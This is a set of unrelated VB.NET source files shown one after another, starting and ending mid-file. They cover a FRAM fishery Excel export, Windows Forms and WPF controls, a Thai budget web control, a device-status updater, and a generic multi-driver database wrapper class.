xlWorkSheet.Range(NewAddress).Value = NonRetentionFlag(Fish, TStep).ToString NewAddress = FlagAddress & CStr(Fish * 4 + 1) xlWorkSheet.Range(NewAddress).Value = "*" xlWorkSheet.Range(NewAddress).Interior.Color = RGB(229, 150, 100) NewAddress = FlagAddress & CStr(Fish * 4 + 2) xlWorkSheet.Range(NewAddress).Value = "*" xlWorkSheet.Range(NewAddress).Interior.Color = RGB(229, 150, 100) NewAddress = FlagAddress & CStr(Fish * 4 + 3) xlWorkSheet.Range(NewAddress).Value = "*" xlWorkSheet.Range(NewAddress).Interior.Color = RGB(229, 150, 100) NewAddress = CellAddress & CStr(Fish * 4) xlWorkSheet.Range(NewAddress).Value = NonRetentionInput(Fish, TStep, 1).ToString("#####0") NewAddress = CellAddress & CStr(Fish * 4 + 1) xlWorkSheet.Range(NewAddress).Value = NonRetentionInput(Fish, TStep, 2).ToString("#####0") NewAddress = CellAddress & CStr(Fish * 4 + 2) If NonRetentionInput(Fish, TStep, 3) > 0 Then xlWorkSheet.Range(NewAddress).Value = NonRetentionInput(Fish, TStep, 3).ToString("###0.0000") Else xlWorkSheet.Range(NewAddress).Value = "0" End If NewAddress = CellAddress & CStr(Fish * 4 + 3) If NonRetentionInput(Fish, TStep, 4) > 0 Then xlWorkSheet.Range(NewAddress).Value = NonRetentionInput(Fish, TStep, 4).ToString("###0.0000") Else xlWorkSheet.Range(NewAddress).Value = "0" End If NextNRVal: Next Next ElseIf SpeciesName = "COHO" Then For Fish As Integer = 1 To NumFish For TStep As Integer = 1 To NumSteps CellAddress = "" Select Case TStep Case 1 CellAddress = "C" & CStr(Fish + 3) Case 2 CellAddress = "D" & CStr(Fish + 3) Case 3 CellAddress = "E" & CStr(Fish + 3) Case 4 CellAddress = "F" & CStr(Fish + 3) Case 5 CellAddress = "G" & CStr(Fish + 3) End Select If AnyBaseRate(Fish, TStep) = 0 Then xlWorkSheet.Range(CellAddress).Value = "*" xlWorkSheet.Range(CellAddress).Interior.Color = RGB(148, 150, 232) Else xlWorkSheet.Range(CellAddress).Value = NonRetentionInput(Fish, TStep, 1).ToString("#####0.0000") 'xlWorkSheet.Range(CellAddress).Interior.Color = RGB(255, 255, 255) End If Next Next End If CloseExcelWorkBook: '- Done with FRAM-Template WorkBook .. Close and release object xlApp.Application.DisplayAlerts = False xlWorkBook.Save() If WorkBookWasNotOpen = True Then xlWorkBook.Close() End If If ExcelWasNotRunning = True Then xlApp.Application.Quit() xlApp.Quit() Else xlApp.Visible = True xlApp.WindowState = Excel.XlWindowState.xlMinimized End If xlApp.Application.DisplayAlerts = True xlApp = Nothing Me.Cursor = Cursors.Default Exit Sub End Sub End Class
 Namespace Models Public Class MasterFilesTask Public Property Id As Integer Public Property MasterFileName As String Public Property TaskName As String Public Property MemoryUsed As Integer Public Property Version As Integer Public Property MultiStation As Integer Public Property MaxNoOfInstances As Integer Public Property ModelAffiliation As String Public Property L5XFileName As String Public Sub New(ByVal masterFileName As String, ByVal taskName As String, ByVal memoryUsed As Integer, ByVal version As Integer, ByVal multiStation As Integer, ByVal maxNoOfInstances As Integer, ByVal modelAffiliation As String, ByVal l5XFileName As String) Me.MasterFileName = masterFileName Me.TaskName = taskName Me.MemoryUsed = memoryUsed Me.Version = version Me.MultiStation = multiStation Me.MaxNoOfInstances = maxNoOfInstances Me.ModelAffiliation = modelAffiliation Me.L5XFileName = l5XFileName End Sub Public Sub New() End Sub End Class End Namespace
<Serializable> Public Class clsGerber Private _className As String = "clsGerber" Private _name As String Private _color As Color Private _parent As clsPart Private _shapes As New List(Of clsShapes) Friend Event ColorChanged_Before() Friend Event ColorChanged_After() '#################################################################################################### 'Konstruktoren '#################################################################################################### Public Sub New(ByRef Parent As clsPart) Dim _type As String = "Sub" Dim _structname As String = "New(Parent)" _name = InputBox("Bezeichnung des Gerbers eingeben", "Gerbername") clsProgram.DebugPrefix += 1 : Debug.Print(StrDup(clsProgram.DebugPrefix, "+") & " " & "Enter in: {0} {1} -> {2} : {3}", _className, _type, _structname, _name) _parent = Parent Call Me.init() 'Anweisung für alle Konstruktoren gültig Debug.Print(StrDup(clsProgram.DebugPrefix, "+") & " " & "Leave in: {0} {1} -> {2} : {3}", _className, _type, _structname, _name) : clsProgram.DebugPrefix -= 1 End Sub Public Sub New(ByVal Name As String, ByRef Parent As clsPart) Dim _type As String = "Sub" Dim _structname As String = "New(Name, Parent)" Me.Name = Name clsProgram.DebugPrefix += 1 : Debug.Print(StrDup(clsProgram.DebugPrefix, "+") & " " & "Enter in: {0} {1} -> {2} : {3}", _className, _type, _structname, _name) _parent = Parent Call Me.init() 'Anweisung für alle Konstruktoren gültig Debug.Print(StrDup(clsProgram.DebugPrefix, "+") & " " & "Leave in: {0} {1} -> {2} : {3}", _className, _type, _structname, _name) : clsProgram.DebugPrefix -= 1 End Sub Private Sub init() ' ***************************************************** ' Anweisungen für alle Konstruktoren ' ***************************************************** Dim _type As String = "Sub" Dim _structname As String = "init" clsProgram.DebugPrefix += 1 : Debug.Print(StrDup(clsProgram.DebugPrefix, "+") & " " & "Enter in: {0} {1} -> {2} : {3}", _className, _type, _structname, _name) Me.Color = RandomColor() Debug.Print(StrDup(clsProgram.DebugPrefix, "+") & " " & "Leave in: {0} {1} -> {2} : {3}", _className, _type, _structname, _name) : clsProgram.DebugPrefix -= 1 End Sub '#################################################################################################### 'Methoden '#################################################################################################### '#################################################################################################### 'Funktionen '#################################################################################################### Private Function RandomColor() As Color '**************************************************************************************************** 'Gibt eine Zufallsfarbe aus der Palette der KnownColors der Systemfarben ausschließlich der Standard 'Formfarben zurück. '* Es wird geprüft, ob diese Farbe bereits verwendet wurde und wenn ja, die Funktion ' erneut aufgerufen. '* Es wird geprüft, ob die Farbe der Hintergrundfarbe des GerberZeichenElements entspricht und wenn ' ja, die Funktion erneut aufgerufen '**************************************************************************************************** Dim farbe As Color = Color.FromName([Enum].GetNames(GetType(KnownColor))(clsProgram.MainController.rnd.Next(28, 167))) If frmMain.UsedColor.Contains(farbe) Then farbe = RandomColor() End If Return farbe End Function '#################################################################################################### 'Property '#################################################################################################### Property Name As String Get Return _name End Get Set(ByVal value As String) _name = value End Set End Property Property Color As Color Get Return _color End Get Set(ByVal value As Color) If Not frmMain.UsedColor.Contains(value) Or value = _color Then frmMain.UsedColor.Remove(_color) frmMain.UsedColor.Add(value) _color = value RaiseEvent ColorChanged_After() Else MsgBox("Diese Farbe wird bereits verwendet! Wählen Sie eine andere Farbe aus.", MsgBoxStyle.Critical) With frmMain.dlgColor .Color = _color If .ShowDialog() = DialogResult.OK Then Me.Color = .Color End If End With End If End Set End Property ReadOnly Property Parent As clsPart Get Return _parent End Get End Property ReadOnly Property Level As Integer Get Return Me.Parent.Gerber.IndexOf(Me) End Get End Property Property Shapes As List(Of clsShapes) Get Return _shapes End Get Set(value As List(Of clsShapes)) _shapes = value End Set End Property '#################################################################################################### 'Events '#################################################################################################### End Class
 Imports System.IO Imports System.Configuration Imports System.Timers Imports System.Net.NetworkInformation Imports System.Net Imports VRNS.DAL Imports VRNS.DAL.EntityModel Imports System.Collections.Generic Imports System.Data Module Module1 Sub Main() Dim listIPAddress = GetListIPAddress().ToList() For Each i In listIPAddress UpdateDeviceStatus(i) Next End Sub Public Function GetListIPAddress(categoryID As Integer) As IEnumerable(Of VRNS_Device_Registered) Using ctx As New VRNSEntities Dim obj = ctx.VRNS_Device_Registered.ToList() Return obj End Using End Function Public Function GetListIPAddress() As List(Of VRNS_Device_Registered) Using ctx As New VRNSEntities If ctx.Connection.State <> ConnectionState.Open Then ctx.Connection.Open() Dim obj = ctx.VRNS_Device_Registered.ToList() Return obj End Using End Function Private Sub UpdateDeviceStatus(ByVal item As VRNS_Device_Registered) Using ctx As New VRNS.DAL.VRNSEntities If ctx.Connection.State <> ConnectionState.Open Then ctx.Connection.Open() Dim txn = ctx.Connection.BeginTransaction Try Dim device_reg = ctx.VRNS_Device_Registered.Where(Function(x) x.ID = item.ID).FirstOrDefault() If device_reg IsNot Nothing Then device_reg.Cur_Status_CODE = getStatusCode("OFFLINE") device_reg.Cur_Status_UPD = Date.Now device_reg.Prev_Status_CODE = device_reg.Cur_Status_CODE device_reg.Prev_Status_UPD = device_reg.Cur_Status_UPD End If ctx.SaveChanges() txn.Commit() Catch ex As Exception txn.Rollback() End Try End Using End Sub Private Sub Open_Maintainance_Record(ByVal item As VRNS_Device_Registered) Dim obj As New VRNS_Maintainance_Record obj.Dev_Regis_ID = item.ID obj.ROOT_CAUSE = "N/A" obj.SOLUTION = "N/A" obj.ASSIGNEE = getAssigneeByBranchCode(item.BRANCH_CODE) obj.JOB_ID = 1 Using ctx As New VRNSEntities If ctx.Connection.State <> ConnectionState.Open Then ctx.Connection.Open() Dim txn = ctx.Connection.BeginTransaction Try ctx.VRNS_Maintainance_Record.AddObject(obj) ctx.SaveChanges() txn.Commit() Catch ex As Exception txn.Rollback() End Try End Using End Sub Private Function getAssigneeByBranchCode(ByVal branch_code As String) Dim result As String = String.Empty Using ctx As New VRNSEntities Dim brancObj = ctx.VRNS_Employee.Where(Function(x) x.BRANCH_CODE = branch_code).FirstOrDefault() If brancObj IsNot Nothing Then result = brancObj.FNAME_TH & " " & brancObj.LNAME_TH End If End Using Return result End Function Private Function getStatusCode(ByVal status As String) As Integer Using ctx As New VRNSEntities Dim obj = ctx.VRNS_Status.Where(Function(x) x.DESCRIPTION = status).FirstOrDefault() If obj IsNot Nothing Then Return obj.CODE Else Return 0 End If End Using End Function End Module
Imports DevExpress.Mvvm Imports DevExpress.Mvvm.DataAnnotations Imports DevExpress.Mvvm.Native Imports DevExpress.Mvvm.POCO Imports System Imports System.Collections.Generic Imports System.ComponentModel Imports System.Linq Imports System.Text Imports System.Threading.Tasks Imports System.Windows.Media Imports System.Windows.Media.Imaging Namespace PropertyGridDemo.Metadata Public NotInheritable Class FillOptionsMetadata Private Sub New() End Sub Public Shared Sub BuildMetadata(ByVal builder As MetadataBuilder(Of FillOptions)) builder.Property(Function(x) x.Result).Hidden() builder.Property(Function(x) x.FillType).PropertyGridEditor("FillOptions.FillType").LocatedAt(0) End Sub End Class Public NotInheritable Class SolidFillOptionsMetadata Private Sub New() End Sub Public Shared Sub BuildMetadata(ByVal builder As MetadataBuilder(Of SolidFillOptions)) builder.Property(Function(x) x.Color).PropertyGridEditor("CommonBorderAndFillOptions.Color") builder.Property(Function(x) x.Opacity).PropertyGridEditor("CommonBorderAndFillOptions.Opacity") End Sub End Class Public NotInheritable Class PictureFillOptionsMetadata Private Sub New() End Sub Public Shared Sub BuildMetadata(ByVal builder As MetadataBuilder(Of PictureFillOptions)) builder.Property(Function(x) x.Picture).PropertyGridEditor("PictureFillOptions.Picture") builder.Property(Function(x) x.Opacity).PropertyGridEditor("CommonBorderAndFillOptions.Opacity") End Sub End Class End Namespace
Module ColorHelper Public LightGreen As Color = Color.FromArgb(0, 201, 100) Public DarkGreen As Color = Color.FromArgb(0,165,73) Public LightYellow As Color = Color.FromArgb(246, 220, 67) Public DarkYellow As Color = Color.FromArgb(243, 202, 45) Public LightOrange As Color = Color.FromArgb(246, 147, 37) Public DarkOrange As Color = Color.FromArgb(242, 107, 19) Public LightRed As Color = Color.FromArgb(242, 45, 46) Public DarkRed As Color = Color.FromArgb(177, 23, 22) Public LightPink As Color = Color.FromArgb(243, 74, 169) Public DarkPink As Color = Color.FromArgb(236, 61, 128) Public LightPurple As Color = Color.FromArgb(142, 65, 180) Public DarkPurple As Color = Color.FromArgb(100, 36, 136) Public LightBlue As Color = Color.FromArgb(48, 113, 199) Public DarkBlue As Color = Color.FromArgb(30, 80, 160) Public LightGrey As Color = Color.FromArgb(225, 225, 225) Public MediumLightGrey As Color = Color.FromArgb(175, 175, 175) Public MediumDarkGrey As Color = Color.FromArgb(197, 197, 197) Public DarkGrey As Color = Color.FromArgb(75, 80, 87) Public LightTurquoise As Color = Color.FromArgb(9, 184, 161) Public DarkTurquoise As Color = Color.FromArgb(35, 126, 118) End Module
Public Partial Class UC_Budget_Project_BorrowMoney Inherits System.Web.UI.UserControl Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load End Sub ''' <summary> ''' กำหนดคอลัมน์ ''' </summary> ''' <param name="sender"></param> ''' <param name="e"></param> ''' <remarks></remarks> Private Sub rgBorrowMoney_Init(ByVal sender As Object, ByVal e As System.EventArgs) Handles rgBorrowMoney.Init Dim Rad_Utility As New Radgrid_Utility Rad_Utility.Rad = rgBorrowMoney Rad_Utility.addColumnBound("DEBTOR_BILL_ID", "DEBTOR_BILL_ID", False) Rad_Utility.addColumnBound("id", "ลำดับที่") Rad_Utility.addColumnBound("IS_APPROVE", "อนุมัติ") Rad_Utility.addColumnBound("BILL_DATE", "วันที่เบิก") Rad_Utility.addColumnBound("BILL_NUMBER", "เลขที่เบิก") Rad_Utility.addColumnBound("PAYLIST_DESCRIPTION", "ค่าใช้จ่าย") Rad_Utility.addColumnBound("DESCRIPTION", "รายการ") Rad_Utility.addColumnBound("DOC_NUMBER", "เลขบย.") Rad_Utility.addColumnBound("fullname", "ชื่อผู้ยืม") Rad_Utility.addColumnButton("E", "แก้ไขข้อมูล", "E", 0, "คุณต้องการแก้ไขหรือไม่") Rad_Utility.addColumnButton("D", "ลบข้อมูล", "D", 0, "คุณต้องการลบหรือไม่") End Sub ''' <summary> ''' ดึงข้อมูลงบสนับสนุนโครงการ ''' </summary> ''' <param name="source"></param> ''' <param name="e"></param> ''' <remarks></remarks> Private Sub rgBorrowMoney_NeedDataSource(ByVal source As Object, ByVal e As Telerik.Web.UI.GridNeedDataSourceEventArgs) Handles rgBorrowMoney.NeedDataSource Dim bao_borrow As New BAO_BUDGET.Budget rgBorrowMoney.DataSource = bao_borrow.get_BorrowMoneyBinding(1, 1) End Sub End Class
''' <summary> ''' Extends the DataGridView control to add support for multi-column "compound" filtering. This is a drop-in replacement for the DataGridView control. ''' </summary> ''' <remarks></remarks> Public Class FilteredDataGridView Inherits DataGridView ''' <summary> ''' Event delegate that is triggered when data is copied into the FilteredDataGridView and a new row is detected ''' </summary> ''' <param name="rowIndex">The index of the newly created row</param> ''' <param name="startCol">The column that the data starts at</param> ''' <param name="cells">The data that was copied into the FilteredDataGridView</param> ''' <remarks></remarks> Public Delegate Sub OnRowPasted(rowIndex As Integer, startCol As Integer, cells As String()) ''' <summary> ''' Triggered before pasted data is processed ''' </summary> ''' <remarks></remarks> Public Event BeforeRowsPasted As EventHandler ''' <summary> ''' Triggered when data is copied into the FilteredDataGridView and a new row is detected ''' </summary> ''' <remarks></remarks> Public Event RowPasted As OnRowPasted ''' <summary> ''' Triggered after all pasted data has been processed ''' </summary> ''' <remarks></remarks> Public Event AfterRowsPasted As EventHandler ''' <summary> ''' Default constructor ''' </summary> ''' <remarks></remarks> Public Sub New() InitializeComponent() End Sub ''' <summary> ''' Draws the Clear Filters icon and text in the top left corner of the control ''' </summary> ''' <param name="e"></param> ''' <remarks></remarks> Protected Overrides Sub OnPaint(e As PaintEventArgs) MyBase.OnPaint(e) e.Graphics.DrawImage(My.Resources.clear, New Rectangle(2, 2, DataGridViewCustomTextBoxCellColumnHeader.ButtonWidth, DataGridViewCustomTextBoxCellColumnHeader.ButtonHeight)) e.Graphics.DrawString("Clear", New Font("Arial", 9, FontStyle.Regular, GraphicsUnit.Pixel), Brushes.Black, New Point(2 + DataGridViewCustomTextBoxCellColumnHeader.ButtonWidth, 2)) e.Graphics.DrawString("Filters", New Font("Arial", 9, FontStyle.Regular, GraphicsUnit.Pixel), Brushes.Black, New Point(2 + CInt(DataGridViewCustomTextBoxCellColumnHeader.ButtonWidth / 2), DataGridViewCustomTextBoxCellColumnHeader.ButtonHeight + 2)) End Sub ''' <summary> ''' Checks if the Clear Filters icon was clicked ''' </summary> ''' <param name="e"></param> ''' <remarks></remarks> Protected Overrides Sub OnMouseClick(e As MouseEventArgs) If e.X <= DataGridViewCustomTextBoxCellColumnHeader.ButtonWidth + 2 AndAlso e.Y <= DataGridViewCustomTextBoxCellColumnHeader.ButtonHeight + 2 Then ClearFilters() Else MyBase.OnMouseClick(e) End If End Sub ''' <summary> ''' Clears the filters for all filtered columns in the view ''' </summary> ''' <remarks></remarks> Public Sub ClearFilters() For Each c As DataGridViewCustomTextBoxCellColumn In Columns c.ClearFilters() Next RefreshFilters() Refresh() End Sub ''' <summary> ''' Iterates through all of the columns in the control to see which columns have active filters, and ''' then filters all rows based on the criteria that the columns are filtered by. ''' </summary> ''' <remarks></remarks> Public Sub RefreshFilters() ' Build a list of all active filters for the datagridview Dim filters As New List(Of KeyValuePair(Of Integer, String)) For Each c As DataGridViewCustomTextBoxCellColumn In Columns filters.AddRange(c.ActiveFilters) Next filters = filters.Distinct().OrderBy(Function(x) x.Key).ToList() ' Iterate throw each row in the grid. If the row's values match ALL of the specified filters, show the row Dim match As Boolean = False Dim flTmp As List(Of KeyValuePair(Of Integer, String)) For Each d As DataGridViewRow In Rows If Not (d.IsNewRow) Then match = True For Each f As KeyValuePair(Of Integer, String) In filters ' Check if there is more than one filter defined for this specific column ' If there is, check them all to see if the cell value should be displayed flTmp = filters.Where(Function(x) x.Key = f.Key).ToList() If flTmp.Count() > 1 Then Dim matchOr As Boolean = False For Each flt As KeyValuePair(Of Integer, String) In flTmp matchOr = matchOr OrElse flt.Value = d.Cells(flt.Key).Value.ToString() Next match = match AndAlso matchOr Else ' Only one filter for this column, check if the cell's value matches match = match AndAlso f.Value = d.Cells(f.Key).Value.ToString() End If ' One or more filters did not match, stop checking If Not (match) Then Exit For End If Next ' Show/hide the row based on the results of the filter checks d.Visible = match End If Next End Sub ''' <summary> ''' Intercept Ctrl+V to begin accepting pasted data ''' </summary> ''' <param name="e"></param> ''' <remarks></remarks> Protected Overrides Sub OnKeyDown(e As KeyEventArgs) If e.KeyCode = Keys.V AndAlso e.Control Then PasteData() End If MyBase.OnKeyDown(e) End Sub ''' <summary> ''' Reads data from the system Clipboard and begins parsing it ''' </summary> ''' <remarks></remarks> Public Sub PasteData() Dim buf() As String Dim cc As Integer RaiseEvent BeforeRowsPasted(Me, EventArgs.Empty) Dim tArr As String() = Clipboard.GetText().Trim().Split(CChar(vbLf)) Dim r As Integer = CurrentCellAddress.Y Dim c As Integer = CurrentCellAddress.X If (tArr.Length > (Rows.Count - r)) Then Rows.Add(1 + tArr.Length - (Rows.Count - r)) 'check length of the clipboard and the datagridview End If For i As Integer = 0 To tArr.Length - 1 If tArr(i) IsNot Nothing Then buf = tArr(i).Split(CChar(vbTab)) cc = c For ii As Integer = 0 To buf.Length - 1 If cc > ColumnCount - 1 Then Exit For If r > Rows.Count - 1 Then Exit Sub 'Try ' Select Case Item(cc, r).Value.GetType() ' Case GetType(Decimal) ' Item(cc, r).Value = CDec(buf(ii).Trim()) ' Case GetType(Double) ' Item(cc, r).Value = CDbl(buf(ii).Trim()) ' Case GetType(Long) ' Item(cc, r).Value = CLng(buf(ii).Trim()) ' Case GetType(Integer) ' Item(cc, r).Value = CInt(buf(ii).Trim()) ' Case GetType(Boolean) ' Item(cc, r).Value = CBool(buf(ii).Trim()) ' Case GetType(Date), GetType(DateTime) ' Item(cc, r).Value = CDate(buf(ii).Trim()) ' Case GetType(Byte) ' Item(cc, r).Value = CByte(buf(ii).Trim()) ' Case GetType(Char) ' Item(cc, r).Value = CChar(buf(ii).Trim()) ' Case Else ' Item(cc, r).Value = buf(ii).Trim() ' End Select 'Catch ex As Exception ' Item(cc, r).Value = buf(ii).Trim() 'End Try cc = cc + 1 Next RaiseEvent RowPasted(r, c, buf) r = r + 1 End If Next RaiseEvent AfterRowsPasted(Me, EventArgs.Empty) End Sub End Class
'############################################################################# ' PURPOSE: ' * Abstract which database driver is in use. This way the driver ' and therefore database type can be changed with only two config ' changes. ' * Ease development ' * Model the interface after the underlying types. 'OVERVIEW: ' * It is a self contained class, there are no separate stored ' procedure objects or command objects. ' * It supports transactions (untested) ' * It is not tied to ASP.NET programming. All configurations are ' passed to the constructor, therefore it can be used in any .NET ' application. ' * At the top of the file, there are examples on how to use it. ' They do not cover _every_ way to execute a statement, however ' they should provide a decent overview. ' * In order to allow the creation of OUTPUT parameters (see the ' example with an output parameter), you must specify the parameter ' type using an Enumeration specific to the database you are using. ' my_database dynamically creates a HashTable based on the Type enum ' for the database driver type you have specified. IE. If you ' specify SqlClient, then the m_data_types hashtable will contain keys ' like this (int, bit, char, varchar, etc....) which map to the ' underlying data value for the SqlDbType enum. ' Although this is completely dynamic it only works with SqlClient, ' ODBC, and OleDb. In order to support more databases, there must be ' more additional code written to add that support. This however should ' be fairly simple. 'EXAMPLE USAGE ' There are many other ways to use this class too, these are just a few examples. #Region "Example Usage" '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 'Example (executing a stored procedure, not returning anything): 'Dim objDb As New Database(PutYourConnectionStringHere, PutYourDbTypeHere) 'objDb.CreateCommand("{call MyAccountInfo_UpdatePassword(?,?)}", CommandType.StoredProcedure) 'objDb.AddParameter("@userID", CStr(a_userID)) 'objDb.AddParameter("@password", a_password) 'objDb.ExecuteNonQuery() '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 'Example (executing a sql statement returning a datatable): 'Dim objDb As New Database(PutYourConnectionStringHere, PutYourDbTypeHere) 'dim dt as datatable 'Dim sql as string = "select * from users" 'objDb.Execute(sql, dt)) '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 'Example: (executing a stored procedure with a parameter returning a dataset) 'Dim objDb As New Database(PutYourConnectionStringHere, PutYourDbTypeHere) 'Dim ds As New DataSet 'objDb.CreateCommand("{call stored_procedure_name(?)}", CommandType.StoredProcedure) 'objDb.AddParameter("@userID", CStr(a_userID)) 'objDb.Execute(ds) '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 'Example (stored proc using a return parameter): 'Dim objDb As New Database(PutYourConnectionStringHere, PutYourDbTypeHere) 'objDb.CreateCommand("{? = call MyAccount_Insert(?,?,?,?,?,?,?)}", CommandType.StoredProcedure) 'objDb.AddParameter("@RETURN_VAL", ParameterDirection.ReturnValue, "Int", 4) 'objDb.AddParameter("@fname", a_fName) 'objDb.AddParameter("@lname", a_lName) 'objDb.AddParameter("@email", a_email) 'objDb.AddParameter("@pwd", a_password) 'objDb.AddParameter("@status", CStr(CInt(UserStatus.NotConfirmed))) 'objDb.AddParameter("@confirmValue", a_confirmValue) 'objDb.AddParameter("@cookie1", a_cookie) 'objDb.AddParameter("@cookie", a_cookie) 'objDb.ExecuteNonQuery() 'Dim userId as Integer = CInt(objDb.ReadParam("@RETURN_VAL")) '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #End Region '############################################################################# Imports System Imports System.Web Imports System.Collections Imports System.Data Imports System.Data.ODBC Imports System.Data.SqlClient Imports System.Data.OleDb Namespace DONEIN_NET.Google_Sitemaps Public Class Database Private m_connStr As String Private m_objConn As IDbConnection Private m_objDa As IDataAdapter Private m_objCmd As IDbCommand Private m_dbType As DriverType Private m_MyTypes As Hashtable Private m_context As HttpContext Public Enum DriverType SqlClient Odbc OleDb End Enum Public Sub New(ByVal conn As String, ByVal dbType As String) m_context = HttpContext.Current m_context.Trace.Write("MyDatabase", "New") DriverTypeFromString = dbType BuildTypeHash() m_connStr = conn m_objConn = CreateConnection(m_connStr) End Sub Public Sub New(ByVal conn As String, ByVal dbType As DriverType) m_context = HttpContext.Current m_context.Trace.Write("MyDatabase", "New") Me.DbType = dbType BuildTypeHash() m_connStr = conn m_objConn = CreateConnection(m_connStr) End Sub Private Sub OpenConn() m_context = HttpContext.Current m_context.Trace.Write("MyDatabase", "OpenConn") m_objConn.Open() End Sub Private Sub CloseConn() m_context = HttpContext.Current m_context.Trace.Write("MyDatabase", "CloseConn") m_objConn.Close() End Sub #Region "Setting The Database Driver Type" Public Property DbType() As DriverType Get m_context.Trace.Write("MyDatabase", "DbType Get") Return m_dbType End Get Set(ByVal Value As DriverType) m_context.Trace.Write("MyDatabase", "DbType Set") m_dbType = Value End Set End Property Public WriteOnly Property DriverTypeFromString() As String Set(ByVal Value As String) Select Case LCase(Value) Case "sqlclient", "sql" m_dbType = DriverType.SqlClient Case "odbc" m_dbType = DriverType.Odbc Case "oledb", "ole" m_dbType = DriverType.OleDb Case Else Throw New Exception("Invalid database driver type. Object: MyDatabase; Property: DbType") End Select End Set End Property #End Region #Region "Create Objects - Data Abstraction Items" Private Function CreateConnection(ByVal connstr As String) As IDbConnection m_context.Trace.Write("MyDatabase", "CreateConnection") Select Case m_dbType Case DriverType.SqlClient Return New SqlConnection(connstr) Case DriverType.Odbc Return New OdbcConnection(connstr) Case DriverType.OleDb Return New OleDbConnection(connstr) Case Else Throw New Exception("No dbType specified.") End Select End Function Private Function CreateDataAdapter(ByVal objCmd As Object) As IDbDataAdapter m_context.Trace.Write("MyDatabase", "CreateDataAdapter") Select Case m_dbType Case DriverType.SqlClient Return New SqlDataAdapter(objCmd) Case DriverType.Odbc Return New OdbcDataAdapter(objCmd) Case DriverType.OleDb Return New OleDbDataAdapter(objCmd) End Select End Function #End Region #Region "Database Methods" Public Sub Execute(ByRef ds As DataSet) Try m_context.Trace.Write("MyDatabase", "Execute") m_objDa = CreateDataAdapter(m_objCmd) m_objCmd.Connection = m_objConn m_context.Trace.Write("Execute", m_objCmd.CommandText) OpenConn() m_objDa.Fill(ds) Catch ex As Exception m_context.Trace.Write("Error", ex.ToString) Finally CloseConn() End Try End Sub Public Sub Execute(ByVal sql As String, ByRef ds As DataSet) CreateCommand(sql, CommandType.Text) Execute(ds) End Sub Public Sub Execute(ByRef dt As DataTable) Dim ds As New DataSet Execute(ds) dt = ds.Tables(0) End Sub Public Sub Execute(ByVal sql As String, ByRef dt As DataTable) Dim ds As New DataSet CreateCommand(sql, CommandType.Text) Execute(ds) dt = ds.Tables(0) End Sub Public Sub Execute(ByRef dr As DataRow) Dim ds As New DataSet Execute(ds) Try dr = ds.Tables(0).Rows(0) Catch End Try End Sub Public Sub Execute(ByVal sql As String, ByRef dr As DataRow) CreateCommand(sql, CommandType.Text) Execute(dr) End Sub Public Function ExecuteScalar() As Object Dim o As Object Try m_context.Trace.Write("MyDatabase", "ExecuteScalar") m_objCmd.Connection = m_objConn OpenConn() m_context.Trace.Write("MyDatabase", m_objCmd.CommandText) o = m_objCmd.ExecuteScalar Catch ex As Exception m_context.Trace.Write("Error", ex.ToString) Finally CloseConn() End Try Return o End Function Public Function ExecuteScalar(ByVal sql As String) As Object CreateCommand(sql, CommandType.Text) Return ExecuteScalar() End Function Public Sub ExecuteNonQuery() Try m_context.Trace.Write("MyDatabase", "ExecuteNonQuery") m_objCmd.Connection = m_objConn OpenConn() m_context.Trace.Write("MyDatabase", m_objCmd.CommandText) m_objCmd.ExecuteNonQuery() Catch ex As Exception m_context.Trace.Write("Error", ex.ToString) Finally CloseConn() End Try End Sub Public Sub ExecuteNonQuery(ByVal sql As String) CreateCommand(sql, CommandType.Text) ExecuteNonQuery() End Sub #End Region #Region "Command Methods" Public Sub CreateCommand(ByVal name As String, ByVal type As CommandType) m_context.Trace.Write("MyDatabase", "CreateCommand") Select Case m_dbType Case DriverType.SqlClient m_objCmd = New SqlCommand(name) Case DriverType.Odbc m_objCmd = New OdbcCommand(name) Case DriverType.OleDb m_objCmd = New OleDbCommand(name) End Select m_objCmd.CommandType = type End Sub Public Sub AddParameter(ByVal name As String, ByVal value As String) m_context.Trace.Write("MyDatabase", "AddParameter") Dim parm As IDataParameter Select Case m_dbType Case DriverType.SqlClient parm = New SqlParameter(name, value) Case DriverType.Odbc parm = New OdbcParameter(name, value) Case DriverType.OleDb parm = New OleDbParameter(name, value) End Select m_objCmd.Parameters.Add(parm) End Sub Public Sub AddParameter(ByVal name As Object, ByVal value As String, ByVal type As String, ByVal size As Integer) m_context.Trace.Write("MyDatabase", "AddParameter") Dim parm As IDataParameter Select Case m_dbType Case DriverType.SqlClient parm = New SqlParameter(name, GetDbType(type), size) Case DriverType.Odbc parm = New OdbcParameter(name, GetDbType(type), size) Case DriverType.OleDb parm = New OleDbParameter(name, GetDbType(type), size) End Select parm.Value = value m_objCmd.Parameters.Add(parm) End Sub Public Sub AddParameter( _ ByVal name As String, _ ByVal direction As ParameterDirection, _ ByVal type As String, _ ByVal size As Integer) m_context.Trace.Write("MyDatabase", "AddParameter") Dim parm As IDataParameter Select Case m_dbType Case DriverType.SqlClient parm = New SqlParameter(name, GetDbType(type), size, direction, False, 10, 0, "", DataRowVersion.Current, Nothing) 'Case DriverType.Odbc ' parm = New OdbcParameter(name, GetDbType(type), size, direction, False, 10, 0, "", DataRowVersion.Current, Nothing) 'Case DriverType.OleDb ' parm = New OleDbParameter(name, GetDbType(type), size, direction, False, 10, 0, "", DataRowVersion.Current, Nothing) End Select 